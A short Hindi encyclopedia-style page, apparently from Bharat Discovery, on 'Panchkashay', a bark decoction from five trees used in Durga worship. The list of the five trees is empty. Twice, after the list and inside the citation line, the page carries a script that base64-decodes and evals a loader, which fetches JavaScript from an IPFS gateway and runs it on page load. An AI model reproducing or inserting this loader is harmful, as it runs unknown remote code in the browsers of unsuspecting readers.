पंचकषाय
भारत डिस्कवरी प्रस्तुति
पंचकषाय तंत्रशास्त्र में माने गये पाँच प्रमुख वृक्षों की छाल से निर्मित 'कषाय' (कसैला स्वाद, कड़वापन) हैं।
- यह कषाय पाँच वृक्षों की छालों से तैयार किया जाता है।
- कषाय वृक्षों की छाल को जल में भिगोकर बनाया जाता है।
- इस प्रकार का कषाय देवी दुर्गा की पूजा में काम आता है।
- वे पाँच वृक्ष जिनसे ये कषाय तैयार किया जाता है, वे इस प्रकार हैं-
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
भारतीय संस्कृति कोश, भाग-2 |प्रकाशक: यूनिवर्सिटी पब्लिकेशन, नई दिल्ली-110002 |संपादन: प्रोफ़ेसर देवेन्द्र मिश्र |पृष्ठ संख्या: 458 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ प्रा.भा.सं.को., पृष्ठ 212